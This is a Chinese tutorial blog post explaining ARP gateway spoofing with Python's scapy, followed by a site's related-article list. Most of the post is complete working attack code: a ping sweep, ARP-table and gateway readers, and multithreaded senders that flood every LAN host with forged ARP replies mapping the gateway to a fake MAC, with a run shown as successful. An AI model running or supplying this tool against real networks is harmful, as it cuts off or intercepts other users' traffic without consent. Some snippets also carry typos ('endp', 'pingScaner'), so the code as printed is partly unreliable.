Python利用scapy实现ARP欺骗的方法


Posted in Python onJuly 23, 2019

一、实验原理。

本次用代码实现的是ARP网关欺骗,通过发送错误的网关映射关系导致局域网内其他主机无法正常路由。使用scapy中scapy.all模块的ARP、sendp、Ether等函数完成包的封装与发送。一个简单的ARP响应报文发送:

eth = Ether(src=src_mac, dst=dst_mac)#赋值src_mac时需要注意,参数为字符串类型
arp = ARP(hwsrc=src_mac, psrc=src_ip, hwdst=dst_mac, pdst=dst_ip, op=2)#src为源,dst为目标,op=2为响应报文、1为请求
pkt = eth / arp
endp(pkt)

因为实验时发现主机并不会记录来自网关的免费ARP报文,无奈只有先想办法把局域网内存在的主机的IP-MAC映射关系拿到手,再逐个发送定向的ARP响应报文。

二、运行结果。

<1>先查看网关,确保有网:

Python利用scapy实现ARP欺骗的方法

<2>因为socket需要sudo权限,所以以root权限跑起来:

Python利用scapy实现ARP欺骗的方法

<3>因为代码写的比较繁琐,跑起来就比现场的工具慢很多,最后看下局域网内主机的arp表:

Python利用scapy实现ARP欺骗的方法

网关172.16.0.254的MAC地址已经从00:05:66:00:29:69变成01:02:03:04:05:06,成功!

三、实现代码。

代码过程:加载网关->扫描局域网内主机->扫描完成->加载arp表->发送ARP响应报文。

如图,代码分为六个部分。其中的arpATC.py为主程序,pingScanner.py为主机扫描器,arpThread.py为扫描线程,atcThread.py为发包线程,gtwaySearch.py获取网关,macSearch.py读取本机arp表。

Python利用scapy实现ARP欺骗的方法

<1>pingScanner.py

通过os.popen函数调用ping,使用正则匹配返回字符串判断目标主机是否存在。

#!/usr/bin/python
'''
Using ping to scan
'''
import os
import re
import time
import thread
 
def host_scanner(ip):
  p = os.popen('ping -c 2 '+ip)
  string = p.read()
  pattern = 'Destination Host Unreachable'
  if re.search(pattern,string) is not None:
    print '[*]From '+ip+':Destination Host Unreachable!'+time.asctime( time.localtime(time.time()) )
    return False
  else:
    print '[-]From '+ip+':Recived 64 bytes!'+time.asctime( time.localtime(time.time()) )
    return True
 
if __name__=='__main__':
  print 'This script is only use as model,function:scanner(ip)!'

<2>macSearch.py

同样,调用os.popen函数带入参数'arp -a'查看本地缓存的arp表信息。通过正则表达式截取每个IP对应的MAC地址,保存在字典arp_table里并返回。

#!/usr/bin/python
'''
Using re to get arp table
arp -a
? (192.168.43.1) at c0:ee:fb:d1:cd:ce [ether] on wlp4s0
'''
import re
import os
import time
 
def getMac(ip_table=[],arp_table={}):
  #print '[-]Loading ARP table...'+time.asctime( time.localtime(time.time()) )
  p = os.popen('arp -a')
  string = p.read()
  string = string.split('\n')
  pattern = '(\d{1,3}.\d{1,3}.\d{1,3}.\d{1,3})(.\s*at\s*)([a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2}\:[a-z0-9]{2})'
  length = len(string)
  for i in range(length):
    if string[i] == '':
      continue
    result = re.search(pattern, string[i])
    if result is not None:
      ip = result.group(1)
      mac = result.group(3)
      arp_table[ip]=mac
      ip_table.append(ip)
    #else:
      #print '[*]macSearch.getMac:result is None'
  #print '[-]ARP table ready!'+'<->'+time.asctime( time.localtime(time.time()) )
  return (ip_table,arp_table)
 
if __name__=='__main__':
  table = getMac()
  ip_table = table[0]
  arp_table = table[1]
  for i in range(len(ip_table)):
    ip = ip_table[i]
    print '[-]'+ip+'<-is located on->'+arp_table[ip]

<3>gtwaySearch.py

通过使用正则截取os.popen('route -n')的返回值确定网关IP,把获取的网关IP与MAC当作元组返回。

#!/usr/bin/python
'''
'Kernel IP routing table\nDestination   Gateway     Genmask     Flags Metric Ref  Use Iface\n
0.0.0.0     172.16.0.254  0.0.0.0     UG  100  0    0 enp3s0f1\n
172.16.0.0   0.0.0.0     255.255.255.0  U   100  0    0 enp3s0f1\n'
'''
 
import re
import os
import time
from macSearch import *
 
def find_Gateway():
  p = os.popen('route -n')
  route_table = p.read()
  pattern = '(0\.0\.0\.0)(\s+)((\d+\.){1,3}(\d+))(\s+)(0\.0\.0\.0)'
  result = re.search(pattern, route_table)
  if result is not None:
    #print '[-]Gateway is located on:' + result.group(3)+'...'+time.asctime( time.localtime(time.time()) )
    table = getMac()
    ip = table[0][0]
    mac = table[1][ip]
    return (ip,mac)
  else:
    #print '[*]arpATC.find_Gateway:result is None!'
    #print '[*]Gateway is no found!'
    return
 
if __name__=='__main__':
  print '[-]Looking for Gateway...'+time.asctime( time.localtime(time.time()) )
  gateway = find_Gateway()
  if gateway is not None:
    print '[-]Gateway is located on:' + gateway[0]+'('+gateway[1]+')'+'...'+time.asctime( time.localtime(time.time()))
  else:
    print '[*]Gateway is no found!'+gateway[0]+time.asctime( time.localtime(time.time()) )

<4>arpThread.py

考虑到ping扫描主机时遇到不存在的主机会等待过长的时间,使用多线程扫描就稍微会快一点。这里是通过继承、重写run方法实现功能的。因为不太会控制多线程,所以这里写死了,是四个线程平分255个可能存在的主机。

#/usr/bin/python
 
import threading
import time
from gtwaySearch import *
from macSearch import *
from pingScaner import *
 
class arpThread(threading.Thread):
  def __init__(self,tag_ip,number):
    super(arpThread,self).__init__()
    self.tag_ip = tag_ip
    self.number = number
    self.status = False
 
  def run(self):
    add = 0
    if (self.number-1)==0:
      add = 1
    start = (self.number-1)*64 + add
    #1-63,64-127,128-191,192-256
    end = start + 64
    for i in range(start, end):
      if i < 255:
        host = self.tag_ip.split('.')
        host[3] = str(i)
        host = '.'.join(host)
        host_scanner(host)
    self.status=True
    print '[-]Status of Thread_%d is '%self.number+str(self.status)
 
    #print '[-]Scan completed!' + time.asctime(time.localtime(time.time()))

<5>atcThread.py

使用与arpThread.py中类似的方法继承、重写run方法实现多线程发包的功能。发包时源IP是指定的字符串“01:02:03:04:05:06”,源IP为获取的网关IP,目标IP和目标MAC皆为从本机arp表中获取的真实存在的主机IP与MAC。

#!/usr/bin/python
 
import threading
from scapy.all import ARP,Ether,sendp,fuzz,send
 
class atcThread(threading.Thread):
  def __init__(self,table,gtw_ip,gtw_mac):
    super(atcThread,self).__init__()
    self.table = table
    self.gtw_ip = gtw_ip
    self.gtw_mac = gtw_mac
 
  def run(self):
    ip_table = self.table[0]
    arp_table = self.table[1]
    while True:
      for i in range(len(ip_table)):
        tag_ip = ip_table[i]
        tag_mac = arp_table[tag_ip]
        eth = Ether(src=self.gtw_mac, dst=tag_mac)
        arp = ARP(hwsrc='01:02:03:04:05:06', psrc=self.gtw_ip, hwdst=tag_mac, pdst=tag_ip, op=2)
        pkt = eth / arp
        sendp(pkt)
 
        #pkt = eth/fuzz(arp)
        #send(pkt,loop=1)

<6>arpATC.py

代码的主程序,代码过程:

加载网关->扫描局域网内主机->扫描完成->加载arp表->发送ARP响应报文->等待。

(四线程) (四线程)

因为主程序是死循环,所以即便是攻击完成后也不会退出。可以在arpThread启动前加入for循环,这样就能无限发送了。

#!/usr/bin/python
'''
'''
import os
from gtwaySearch import *
from arpThread import arpThread
from atcThread import atcThread
 
def atc_WrongGTW(gtw):
  src_ip = gtw[0]
  src_mac = gtw[1]
  print '[-]Start scanning hosts...' + time.asctime(time.localtime(time.time()))
  arpThread_1 = arpThread(src_ip,1)
  arpThread_2 = arpThread(src_ip,2)
  arpThread_3 = arpThread(src_ip,3)
  arpThread_4 = arpThread(src_ip,4)
 
  arpThread_1.start()
  arpThread_2.start()
  arpThread_3.start()
  arpThread_4.start()
  t = False
  while(t==False):
    t = arpThread_1.status and arpThread_2.status and arpThread_3.status and arpThread_4.status
    time.sleep(5)
  table = getMac()
  print '[-]Scan completed!' + time.asctime(time.localtime(time.time()))
  flag = raw_input('[-]Ready to start attacking:(y/n)')
  while(True):
    if flag in ['y', 'Y', 'n', 'N']:
      break
    print "[*]Plz enter 'y' or 'n'!"
    flag = raw_input()
  if flag in ['n','N']:
    print '[*]Script stopped!'
  else:
    atcThread_1 = atcThread(table,src_ip,src_mac)
    atcThread_2 = atcThread(table,src_ip, src_mac)
    atcThread_3 = atcThread(table,src_ip, src_mac)
    atcThread_4 = atcThread(table,src_ip, src_mac)
    os.popen('arp -s %s %s'%(src_ip,src_mac))
    print '[-]'+'arp -s %s %s'%(src_ip,src_mac)
    print '[-]Strat attack...'
    atcThread_1.start()
    atcThread_2.start()
    atcThread_3.start()
    atcThread_4.start()
 
 
 
if __name__=='__main__':
  gateway = find_Gateway()
  if gateway is not None:
    atc_WrongGTW(gateway)
    while True:
      pass
  else:
    print "[*]Can't find Gateway!"

以上这篇Python利用scapy实现ARP欺骗的方法就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持三水点靠木。

Python 相关文章推荐
python用10行代码实现对黄色图片的检测功能
Aug 10 Python
Python实现批量压缩图片
Jan 25 Python
Face++ API实现手势识别系统设计
Nov 21 Python
pyqt5之将textBrowser的内容写入txt文档的方法
Jun 21 Python
Python调用百度根据经纬度查询地址的示例代码
Jul 07 Python
基于python进行抽样分布描述及实践详解
Sep 02 Python
python使用opencv实现马赛克效果示例
Sep 28 Python
Python openpyxl 插入折线图实例
Apr 17 Python
python学习将数据写入文件并保存方法
Jun 07 Python
如何用Python 加密文件
Sep 10 Python
记一次python 爬虫爬取深圳租房信息的过程及遇到的问题
Nov 24 Python
python模板入门教程之flask Jinja
Apr 11 Python
OpenCV3.0+Python3.6实现特定颜色的物体追踪
Jul 23 #Python
提升Python效率之使用循环机制代替递归函数
Jul 23 #Python
深入了解Django View(视图系统)
Jul 23 #Python
Python Opencv任意形状目标检测并绘制框图
Jul 23 #Python
flask框架单元测试原理与用法实例分析
Jul 23 #Python
Python3的高阶函数map,reduce,filter的示例详解
Jul 23 #Python
python实现socket+threading处理多连接的方法
Jul 23 #Python
You might like
一个自定义位数的php多用户计数器代码
2007/03/11 PHP
php的memcached客户端memcached
2011/06/14 PHP
PHP判断表单复选框选中状态完整例子
2014/06/24 PHP
php+memcache实现的网站在线人数统计代码
2014/07/04 PHP
asp批量修改记录的代码
2008/06/25 Javascript
juqery 学习之四 筛选过滤
2010/11/30 Javascript
Javascript公共脚本库系列(一): 弹出层脚本
2011/02/24 Javascript
Jquery 一次处理多个ajax请求的代码
2011/09/02 Javascript
javaScript面向对象继承方法经典实现
2013/08/20 Javascript
JavaScript代码简单实现求杨辉三角给定行的最大值
2013/10/29 Javascript
在百度知道团队中快速审批新成员的js脚本
2014/02/02 Javascript
jquery表单插件Autotab使用方法详解
2016/06/24 Javascript
vue双向绑定的简单实现
2016/12/22 Javascript
bootstrap table 数据表格行内修改的实现代码
2017/02/13 Javascript
ThinkPHP+jquery实现“加载更多”功能代码
2017/03/11 Javascript
javascript实现延时显示提示框效果
2017/06/01 Javascript
对Angular中单向数据流的深入理解
2018/03/31 Javascript
layui中的switch开关实现方法
2019/09/03 Javascript
浅析webpack-bundle-analyzer在vue-cli3中的使用
2019/10/23 Javascript
webpack DllPlugin xxx is not defined解决办法
2019/12/13 Javascript
Python操作json数据的一个简单例子
2014/04/17 Python
python运行其他程序的实现方法
2017/07/14 Python
python的Crypto模块实现AES加密实例代码
2018/01/22 Python
tensorflow多维张量计算实例
2020/02/11 Python
python中setuptools的作用是什么
2020/06/19 Python
Sperry澳大利亚官网:源自美国帆船鞋创始品牌
2019/07/29 全球购物
财务会计专业毕业生自荐信
2013/10/19 职场文书
实习自我鉴定范文
2013/10/30 职场文书
餐饮营销方案
2014/02/23 职场文书
关于梦想的演讲稿
2014/05/05 职场文书
小学生环保倡议书
2014/05/15 职场文书
2015年售后服务工作总结
2015/04/25 职场文书
选择比努力更重要?这是长期以来对“努力”的最大误解
2019/07/12 职场文书
大学生暑期社会实践的个人总结!
2019/07/17 职场文书
SQL Server中交叉联接的用法详解
2021/04/22 SQL Server
总结一下关于在Java8中使用stream流踩过的一些坑
2021/06/24 Java/Android